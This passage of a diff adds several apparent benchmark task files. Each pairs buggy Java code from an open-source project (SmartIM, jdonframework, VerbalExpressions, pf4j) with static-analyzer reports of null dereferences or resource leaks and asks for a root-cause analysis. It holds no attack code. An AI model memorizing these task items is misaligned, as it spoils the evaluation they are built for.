+        assertThat(registration.getLocation(), is(locationUrl));
+        assertThat(registration.getContacts().size(), is(2));
+        assertThat(registration.getContacts().get(0), is(URI.create("mailto:foo2@example.com")));
+        assertThat(registration.getContacts().get(1), is(URI.create("mailto:foo3@example.com")));
+
+        provider.close();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `null` could be null and is dereferenced by call to `authorizeDomain(...)` at line 318.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RegistrationTest.testAuthorizeBadDomain()
+
+### Procedure Id:
+org.shredzone.acme4j.RegistrationTest.testAuthorizeBadDomain():void.361a384d48245e573338ff681889b83a
+
+### File:
+acme4j-client/src/test/java/org/shredzone/acme4j/RegistrationTest.java
+
+### Key:
+RegistrationTest.java|testAuthorizeBadDomain|NULL_DEREFERENCE
+
+### Node Key:
+2d63b1f68a2299187625b103ef57d3ba
+
+### Hash:
+3f6d274a88aac164c4199a462962fc4d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8192/instruction.md b/inferredbugs-8192/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..01b90b254ad8783d3bf68f97de268c10ef602ac0
--- /dev/null
+++ b/inferredbugs-8192/instruction.md
@@ -0,0 +1,248 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** SmartIM
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package io.github.biezhi.wechat.model;
+
+import java.io.File;
+
+import com.google.gson.annotations.Expose;
+import com.google.gson.annotations.SerializedName;
+
+import cn.ieclipse.smartim.model.impl.AbstractMessage;
+import cn.ieclipse.util.StringUtils;
+import io.github.biezhi.wechat.api.WechatClient;
+import io.github.biezhi.wechat.handler.msg.AppMsgXmlHandler;
+import io.github.biezhi.wechat.handler.msg.EmojiMsgXmlHandler;
+import io.github.biezhi.wechat.handler.msg.ImageMsgXmlHandler;
+
+public class WechatMessage extends AbstractMessage {
+    
+    public static final int MSGTYPE_TEXT = 1;
+    public static final int MSGTYPE_IMAGE = 3;
+    /**
+     * 慎用，并不确定
+     */
+    public static final int MSGTYPE_FILE = 6;
+    public static final int MSGTYPE_VOICE = 34;
+    public static final int MSGTYPE_VERIFYMSG = 37;
+    public static final int MSGTYPE_POSSIBLEFRIEND_MSG = 40;
+    public static final int MSGTYPE_SHARECARD = 42;
+    public static final int MSGTYPE_VIDEO = 43;
+    public static final int MSGTYPE_EMOTICON = 47;
+    public static final int MSGTYPE_LOCATION = 48;
+    public static final int MSGTYPE_APP = 49;
+    public static final int MSGTYPE_VOIPMSG = 50;
+    public static final int MSGTYPE_STATUSNOTIFY = 51;
+    public static final int MSGTYPE_VOIPNOTIFY = 52;
+    public static final int MSGTYPE_VOIPINVITE = 53;
+    public static final int MSGTYPE_MICROVIDEO = 62;
+    public static final int MSGTYPE_SYSNOTICE = 9999;
+    public static final int MSGTYPE_SYS = 10000;
+    public static final int MSGTYPE_RECALLED = 10002;
+    
+    public static final int APPMSGTYPE_TEXT = 1;
+    public static final int APPMSGTYPE_IMG = 2;
+    public static final int APPMSGTYPE_AUDIO = 3;
+    public static final int APPMSGTYPE_VIDEO = 4;
+    public static final int APPMSGTYPE_URL = 5;
+    public static final int APPMSGTYPE_ATTACH = 6;
+    public static final int APPMSGTYPE_OPEN = 7;
+    public static final int APPMSGTYPE_EMOJI = 8;
+    public static final int APPMSGTYPE_VOICE_REMIND = 9;
+    public static final int APPMSGTYPE_SCAN_GOOD = 10;
+    public static final int APPMSGTYPE_GOOD = 13;
+    public static final int APPMSGTYPE_EMOTION = 15;
+    public static final int APPMSGTYPE_CARD_TICKET = 16;
+    public static final int APPMSGTYPE_REALTIME_SHARE_LOCATION = 17;
+    public static final String APPMSGTYPE_TRANSFERS = "2e3";
+    public static final int APPMSGTYPE_RED_ENVELOPES = 2001;
+    public static final int APPMSGTYPE_READER_TYPE = 100001;
+    public static final int UPLOAD_MEDIA_TYPE_IMAGE = 1;
+    public static final int UPLOAD_MEDIA_TYPE_VIDEO = 2;
+    public static final int UPLOAD_MEDIA_TYPE_AUDIO = 3;
+    public static final int UPLOAD_MEDIA_TYPE_ATTACHMENT = 4;
+    
+    public static final String CONTENT_DELIMITER = ":<br/>";
+    
+    @SerializedName("MsgType")
+    public int MsgType;
+    @SerializedName("FromUserName")
+    public String FromUserName;
+    @SerializedName("ToUserName")
+    public String ToUserName;
+    @SerializedName("Content")
+    public String Content;
+    
+    @SerializedName("MsgId")
+    public String MsgId;
+    
+    @SerializedName("CreateTime")
+    public long CreateTime;
+    
+    @SerializedName("StatusNotifyCode")
+    public int StatusNotifyCode;
+    
+    @SerializedName("StatusNotifyUserName")
+    public String StatusNotifyUserName;
+    
+    @Expose(serialize = false, deserialize = false)
+    public String text;
+    public String src;
+    public String groupId;
+    public String MediaId;
+    public int AppMsgType;
+    public String FileName;
+    public String EncryFileName;
+    public int ImgHeight;
+    public int ImgWidth;
+    
+    @Override
+    public CharSequence getText() {
+        if (text == null) {
+            parseContent();
+        }
+        return text;
+    }
+    
+    public void parseContent() {
+        String temp = StringUtils.decodeXml(Content);
+        if (MsgType == WechatMessage.MSGTYPE_EMOTICON) {
+            text = new EmojiMsgXmlHandler(temp).getHtml(getMediaLink(), this);
+        }
+        else if (MsgType == WechatMessage.MSGTYPE_IMAGE) {
+            text = new ImageMsgXmlHandler(temp).getHtml(getMediaLink(), this);
+        }
+        else if (MsgType == WechatMessage.MSGTYPE_APP) {
+            text = new AppMsgXmlHandler(temp).getHtml(getMediaLink(), this);
+        }
+        // else if (MsgType == WechatMessage.MSGTYPE_FILE) {
+        // text = new FileMsgXmlHandler(temp).getHtml(getMediaLink());
+        // }
+        else if (MsgType == WechatMessage.MSGTYPE_VIDEO) {
+            text = "视频消息（请在手机上查看）";
+        }
+        else if (MsgType == WechatMessage.MSGTYPE_VOICE) {
+            text = "语音消息（请在手机上查看）";
+        }
+        else if (MsgType == WechatMessage.MSGTYPE_MICROVIDEO) {
+            text = "小视频（请在手机上查看）";
+        }
+        else if (MsgType == WechatMessage.MSGTYPE_VERIFYMSG) {
+            text = "验证消息（请在手机上查看）";
+        }
+        else if (MsgType == WechatMessage.MSGTYPE_VOIPINVITE) {
+            text = "视频邀请消息（请在手机上查看）";
+        }
+        else {
+            text = temp;
+        }
+    }
+    
+    public String getMediaLink() {
+        if (WechatClient.getInstance() != null) {
+            File dir = WechatClient.getInstance().getWorkDir("media");
+            File f = null;
+            if (MsgType == WechatMessage.MSGTYPE_IMAGE) {
+                f = new File(dir, "image_" + MsgId + ".jpg");
+            }
+            else if (MsgType == WechatMessage.MSGTYPE_EMOTICON) {
+                f = new File(dir, "emotion_" + MsgId + ".gif");
+            }
+            else if (MsgType == WechatMessage.MSGTYPE_APP) {
+                if (WechatMessage.MSGTYPE_FILE == AppMsgType
+                        && !StringUtils.isEmpty(FileName)) {
+                    f = new File(
+                            WechatClient.getInstance().getWorkDir("attach"),
+                            FileName);
+                }
+            }
+            
+            String link = WechatClient.getInstance().getMediaLink(this, f);
+            return link;
+        }
+        return null;
+    }
+    
+    @Override
+    public long getTime() {
+        // fix #2 wechat timeline error refer to
+        // https://github.com/Jamling/SmartQQ4IntelliJ/issues/30
+        return CreateTime * 1000;
+    }
+    
+    @Override
+    public String toString() {
+        return String.format("type:%d, msg:%s", MsgType, text);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `temp` last assigned on line 105 could be null and is dereferenced by call to `EmojiMsgXmlHandler(...)` at line 107.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void WechatMessage.parseContent()
+
+### Procedure Id:
+io.github.biezhi.wechat.model.WechatMessage.parseContent():void.3fe963b408dde7ba19ff1177d8df6510
+
+### File:
+wechat/src/main/java/io/github/biezhi/wechat/model/WechatMessage.java
+
+### Key:
+WechatMessage.java|parseContent|NULL_DEREFERENCE
+
+### Node Key:
+784c4b183b3d42c8e49c891ead93a47b
+
+### Hash:
+dbd7da9bb8602b51c9c9521105b07f01
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8193/instruction.md b/inferredbugs-8193/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3aa5f7932afef9bad5e4901c76327c5d4fb87c63
--- /dev/null
+++ b/inferredbugs-8193/instruction.md
@@ -0,0 +1,105 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** SmartIM
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package io.github.biezhi.wechat.handler.msg;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import io.github.biezhi.wechat.model.xml.AppMsgInfo;
+
+public class AppMsgXmlHandlerTest {
+    AppMsgXmlHandler handler;
+    
+    @Before
+    public void setUp() throws Exception {
+        String content = File2String.read("appmsg-file.xml");
+        handler = new AppMsgXmlHandler(content);
+    }
+    
+    @Test
+    public void testGetRecents() {
+        AppMsgInfo info = handler.decode();
+        Assert.assertEquals("南京abc.xlsx", info.title);
+        System.out.println(info);
+        
+        handler = new AppMsgXmlHandler(
+                File2String.read("appmsg-publisher.xml"));
+        info = handler.decode();
+        Assert.assertEquals("谷歌开发者", info.appName);
+        System.out.println(info);
+    }
+    
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `content` last assigned on line 14 could be null and is dereferenced by call to `AppMsgXmlHandler(...)` at line 15.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AppMsgXmlHandlerTest.setUp()
+
+### Procedure Id:
+io.github.biezhi.wechat.handler.msg.AppMsgXmlHandlerTest.setUp():void.7c9d848a63a9658df0332c11adfb254e
+
+### File:
+wechat/src/test/java/io/github/biezhi/wechat/handler/msg/AppMsgXmlHandlerTest.java
+
+### Key:
+AppMsgXmlHandlerTest.java|setUp|NULL_DEREFERENCE
+
+### Node Key:
+1ea622e3065de2665c2aef206eac0fa5
+
+### Hash:
+22ea5bcc639e73de1148804e18d73111
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8194/instruction.md b/inferredbugs-8194/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f35ecbe67e71f48efd40cf16ea9fd7f4f94a594f
--- /dev/null
+++ b/inferredbugs-8194/instruction.md
@@ -0,0 +1,116 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jdonframework
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2003-2009 the original author or authors.
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ * 
+ */
+package com.jdon.sample.test.cqrs;
+
+import junit.framework.Assert;
+
+import com.jdon.controller.AppUtil;
+import com.jdon.domain.message.DomainMessage;
+import com.jdon.sample.test.cqrs.a.AggregateRootA;
+
+public class TestMain {
+
+	public static void main(String[] args) {
+		AppUtil appUtil = new AppUtil();
+		AService service = (AService) appUtil.getComponentInstance("aService");
+		AggregateRootA aggregateRootA = service.getAggregateRootA("11");
+		DomainMessage res = service.commandA("11", aggregateRootA, 100);
+
+		long start = System.currentTimeMillis();
+		int result = 0;
+		DomainMessage res1 = (DomainMessage) res.getBlockEventResult();
+		if (res1.getBlockEventResult() != null)
+			result = (Integer) res1.getBlockEventResult();
+
+		long stop = System.currentTimeMillis();
+		Assert.assertEquals(result, 400);
+		System.out.print("\n ok \n" + result + (stop - start));
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `res1` last assigned on line 34 could be null and is dereferenced at line 35.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestMain.main(java.lang.String[])
+
+### Procedure Id:
+com.jdon.sample.test.cqrs.TestMain.main(java.lang.String[]):void.be3c53f2792c6cbb126312b7ffac8bf9
+
+### File:
+src/test/java/com/jdon/sample/test/cqrs/TestMain.java
+
+### Key:
+TestMain.java|main|NULL_DEREFERENCE
+
+### Node Key:
+cbf4abef6a7d17d1b80dfb598ec521f3
+
+### Hash:
+d30d2cf4fd3600ba5145f053e6dec775
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8195/instruction.md b/inferredbugs-8195/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c6d6cb27dc20d5c222be154b177ca2b79027164b
--- /dev/null
+++ b/inferredbugs-8195/instruction.md
@@ -0,0 +1,320 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** JavaVerbalExpressions
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+import java.util.regex.Pattern;
+
+class VerbalExpression {
+    private String prefixes, source, suffixes, pattern = "";
+    private int modifiers = Pattern.MULTILINE;
+
+    private String sanitize(String value) {
+        if(value == null)
+            return value;
+        return Pattern.quote(value);
+    }
+
+    public VerbalExpression add(String value) {
+        this.source = this.source != null ? this.source + value : value;
+        if (this.source != null) {
+            Pattern p = Pattern.compile(this.prefixes + this.source + this.suffixes, this.modifiers);
+            this.pattern = p.pattern();
+        }
+        return this;
+    }
+
+    public VerbalExpression startOfLine(boolean enable) {
+        this.prefixes = enable ? "^" : "";
+        this.add("");
+        return this;
+    }
+
+    public VerbalExpression startOfLine() {
+        return startOfLine(true);
+    }
+
+    public VerbalExpression endOfLine(boolean enable) {
+        this.suffixes = enable ? "$" : "";
+        this.add("");
+        return this;
+    }
+
+    public VerbalExpression endOfLine() {
+        return endOfLine(true);
+    }
+
+    public VerbalExpression then(String value) {
+        value = sanitize(value);
+        this.add("(" + value + ")");
+        return this;
+    }
+
+    public VerbalExpression find(String value) {
+        this.then(value);
+        return this;
+    }
+
+    public VerbalExpression maybe(String value) {
+        value = sanitize(value);
+        this.add("(" + value + ")?");
+        return this;
+    }
+
+    public VerbalExpression anything() {
+        this.add("(.*)");
+        return this;
+    }
+
+    public VerbalExpression anythingBut(String value) {
+        value = sanitize(value);
+        this.add("([^" + value + "]*)");
+        return this;
+    }
+
+    public VerbalExpression something() {
+        this.add("(.+)");
+        return this;
+    }
+
+    public VerbalExpression somethingBut(String value) {
+        value = sanitize(value);
+        this.add("([^" + value + "]+)");
+        return this;
+    }
+
+    public VerbalExpression replace(String source, String value) {
+        this.add("");
+        this.source.replaceAll(pattern,value);
+        return this;
+    }
+
+    public VerbalExpression lineBreak() {
+        this.add("(\\n|(\\r\\n))");
+        return this;
+    }
+
+    public VerbalExpression br() {
+        this.lineBreak();
+        return this;
+    }
+
+    public VerbalExpression tab() {
+        this.add("\\t");
+        return this;
+    }
+
+    public VerbalExpression word() {
+        this.add("\\w+");
+        return this;
+    }
+
+    public VerbalExpression anyOf(String value) {
+        value = sanitize(value);
+        this.add("[" + value + "]");
+        return this;
+    }
+
+    public VerbalExpression any(String value) {
+        this.anyOf(value);
+        return this;
+    }
+
+    public VerbalExpression range(Object[] args) {
+        String value = "[";
+        for(int _from = 0; _from < args.length; _from += 2) {
+            int _to = _from+1;
+            if (args.length <= _to) break;
+            int from = Integer.getInteger(sanitize((String)args[_from]));
+            int to = Integer.getInteger(sanitize((String)args[_to]));
+
+            value += from + "-" + to;
+        }
+
+        value += "]";
+
+        this.add(value);
+        return this;
+    }
+
+    public VerbalExpression addModifier(char modifier) {
+        switch (modifier) {
+            case 'd':
+                modifiers |= Pattern.UNIX_LINES;
+                break;
+            case 'i':
+                modifiers |= Pattern.CASE_INSENSITIVE;
+                break;
+            case 'x':
+                modifiers |= Pattern.COMMENTS;
+                break;
+            case 'm':
+                modifiers |= Pattern.MULTILINE;
+                break;
+            case 's':
+                modifiers |= Pattern.DOTALL;
+                break;
+            case 'u':
+                modifiers |= Pattern.UNICODE_CASE;
+                break;
+            case 'U':
+                modifiers |= Pattern.UNICODE_CHARACTER_CLASS;
+                break;
+            default:
+                break;
+        }
+
+        this.add("");
+        return this;
+    }
+
+    public VerbalExpression removeModifier(char modifier) {
+        switch (modifier) {
+            case 'd':
+                modifiers ^= Pattern.UNIX_LINES;
+                break;
+            case 'i':
+                modifiers ^= Pattern.CASE_INSENSITIVE;
+                break;
+            case 'x':
+                modifiers ^= Pattern.COMMENTS;
+                break;
+            case 'm':
+                modifiers ^= Pattern.MULTILINE;
+                break;
+            case 's':
+                modifiers ^= Pattern.DOTALL;
+                break;
+            case 'u':
+                modifiers ^= Pattern.UNICODE_CASE;
+                break;
+            case 'U':
+                modifiers ^= Pattern.UNICODE_CHARACTER_CLASS;
+                break;
+            default:
+                break;
+        }
+
+        this.add("");
+        return this;
+    }
+
+    public VerbalExpression withAnyCase(boolean enable) {
+        if (enable) this.addModifier( 'i' );
+        else this.removeModifier( 'i' );
+        this.add("");
+        return this;
+    }
+
+    public VerbalExpression withAnyCase() {
+        return withAnyCase(true);
+    }
+
+    public VerbalExpression searchOneLine(boolean enable) {
+        if (enable) this.removeModifier( 'm' );
+        else this.addModifier( 'm' );
+        this.add("");
+        return this;
+    }
+
+    public VerbalExpression multiple(String value) {
+        value = this.sanitize(value);
+        switch (value.charAt(0)) {
+            case '*':
+            case '+':
+                break;
+            default:
+                value += '+';
+        }
+        this.add(value);
+        return this;
+    }
+
+    public VerbalExpression or(String value) {
+        if (this.prefixes.indexOf("(") == -1) this.prefixes += "(";
+        if (this.suffixes.indexOf(")") == -1) this.suffixes = ")" + this.suffixes;
+
+        this.add(")|(");
+        if (value != null) this.then(value);
+        return this;
+    }
+
+    public boolean test(String toTest) {
+        this.add("");
+        return Pattern.matches(this.pattern, toTest);
+    }
+
+    public String toString() {
+        this.add("");
+        return this.pattern.toString();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `VerbalExpression.source` last assigned on line 82 could be null and is dereferenced at line 83.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+VerbalExpression VerbalExpression.replace(String,String)
+
+### Procedure Id:
+VerbalExpression.replace(java.lang.String,java.lang.String):VerbalExpression.ee091891566d736960ca296342eeedf1
+
+### File:
+src/main/java/VerbalExpression.java
+
+### Key:
+VerbalExpression.java|replace|NULL_DEREFERENCE
+
+### Node Key:
+2777f2506d1c1849b67f08d2ed9fe7aa
+
+### Hash:
+be97bbef660e32b6d700b40270ebae87
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8210/instruction.md b/inferredbugs-8210/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7eb67ec9252e7e80593da52c699b9b24893baf50
--- /dev/null
+++ b/inferredbugs-8210/instruction.md
@@ -0,0 +1,226 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** pf4j
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2015 Decebal Suiu
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package ro.fortsoft.pf4j;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TemporaryFolder;
+
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.OutputStreamWriter;
+import java.io.Writer;
+
+import static org.junit.Assert.*;
+
+/**
+ *
+ * @author Mario Franco
+ */
+public class DefaultPluginStatusProviderTest {
+
+    @Rule
+    public TemporaryFolder testFolder = new TemporaryFolder();
+
+    /**
+     * Test of isPluginDisabled method, of class DefaultPluginStatusProvider.
+     */
+    @Test
+    public void testIsPluginDisabled() throws IOException {
+        createEnabledFile();
+        createDisabledFile();
+        DefaultPluginStatusProvider instance = new DefaultPluginStatusProvider(testFolder.getRoot());
+
+        assertFalse(instance.isPluginDisabled("plugin-1"));
+        assertTrue(instance.isPluginDisabled("plugin-2"));
+        assertTrue(instance.isPluginDisabled("plugin-3"));
+    }
+
+    /**
+     * Test of isPluginDisabled method, of class DefaultPluginStatusProvider.
+     */
+    @Test
+    public void testIsPluginDisabledWithEnableEmpty() throws IOException {
+        createDisabledFile();
+        DefaultPluginStatusProvider instance = new DefaultPluginStatusProvider(testFolder.getRoot());
+
+        assertFalse(instance.isPluginDisabled("plugin-1"));
+        assertTrue(instance.isPluginDisabled("plugin-2"));
+        assertFalse(instance.isPluginDisabled("plugin-3"));
+    }
+
+    /**
+     * Test of disablePlugin method, of class DefaultPluginStatusProvider.
+     */
+    @Test
+    public void testDisablePlugin() throws IOException {
+        createEnabledFile();
+        createDisabledFile();
+        DefaultPluginStatusProvider instance = new DefaultPluginStatusProvider(testFolder.getRoot());
+
+        assertTrue(instance.disablePlugin("plugin-1"));
+        assertTrue(instance.isPluginDisabled("plugin-1"));
+        assertTrue(instance.isPluginDisabled("plugin-2"));
+        assertTrue(instance.isPluginDisabled("plugin-3"));
+    }
+
+    /**
+     * Test of disablePlugin method, of class DefaultPluginStatusProvider.
+     */
+    @Test
+    public void testDisablePluginWithEnableEmpty() throws IOException {
+        createDisabledFile();
+        DefaultPluginStatusProvider instance = new DefaultPluginStatusProvider(testFolder.getRoot());
+
+        assertTrue(instance.disablePlugin("plugin-1"));
+        assertTrue(instance.isPluginDisabled("plugin-1"));
+        assertTrue(instance.isPluginDisabled("plugin-2"));
+        assertFalse(instance.isPluginDisabled("plugin-3"));
+    }
+
+    /**
+     * Test of enablePlugin method, of class DefaultPluginStatusProvider.
+     */
+    @Test
+    public void testEnablePlugin() throws IOException {
+        createEnabledFile();
+        DefaultPluginStatusProvider instance = new DefaultPluginStatusProvider(testFolder.getRoot());
+
+        assertTrue(instance.enablePlugin("plugin-2"));
+        assertFalse(instance.isPluginDisabled("plugin-1"));
+        assertFalse(instance.isPluginDisabled("plugin-2"));
+        assertTrue(instance.isPluginDisabled("plugin-3"));
+    }
+
+    /**
+     * Test of enablePlugin method, of class DefaultPluginStatusProvider.
+     */
+    @Test
+    public void testEnablePluginWithEnableEmpty() {
+        DefaultPluginStatusProvider instance = new DefaultPluginStatusProvider(testFolder.getRoot());
+
+        assertTrue(instance.enablePlugin("plugin-2"));
+        assertFalse(instance.isPluginDisabled("plugin-1"));
+        assertFalse(instance.isPluginDisabled("plugin-2"));
+        assertFalse(instance.isPluginDisabled("plugin-3"));
+    }
+
+    /**
+     * Test of disablePlugin method without a disabled.txt file.
+     */
+    @Test
+    public void testDisablePluginWithoutDisabledFile() throws IOException {
+        DefaultPluginStatusProvider instance = new DefaultPluginStatusProvider(testFolder.getRoot());
+
+        assertFalse(instance.isPluginDisabled("plugin-1"));
+        assertTrue(instance.disablePlugin("plugin-1"));
+        assertTrue(instance.isPluginDisabled("plugin-1"));
+    }
+
+    private void createDisabledFile() throws IOException {
+        File file = testFolder.newFile("disabled.txt");
+        try (Writer writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file), "utf-8"))) {
+            writer.write("plugin-2\r\n");
+        }
+        file.createNewFile();
+    }
+
+    private void createEnabledFile() throws IOException {
+        File file = testFolder.newFile("enabled.txt");
+        file.createNewFile();
+        try (Writer writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file), "utf-8"))) {
+            writer.write("plugin-1\r\n");
+            writer.write("plugin-2\r\n");
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileOutputStream` acquired by call to `FileOutputStream(...)` at line 146 is not released after line 146.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DefaultPluginStatusProviderTest.createEnabledFile()
+
+### Procedure Id:
+ro.fortsoft.pf4j.DefaultPluginStatusProviderTest.createEnabledFile():void.258af3b7c2cddcf4fd3bc77bfcb58676
+
+### File:
+pf4j/src/test/java/ro/fortsoft/pf4j/DefaultPluginStatusProviderTest.java
+
+### Key:
+DefaultPluginStatusProviderTest.java|createEnabledFile|RESOURCE_LEAK
+
+### Node Key:
+77c9666e2163e37e098ff5397dda0560
+
+### Hash:
+3e7e03c1101dbc422f2b82d0a3653e40
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8217/instruction.md b/inferredbugs-8217/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b9dda8409d0ca68a7813673a23617d0c7fb53057
--- /dev/null
+++ b/inferredbugs-8217/instruction.md
@@ -0,0 +1,799 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** pf4j
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2012 Decebal Suiu
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this work except in compliance with
+ * the License. You may obtain a copy of the License in the LICENSE file, or at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
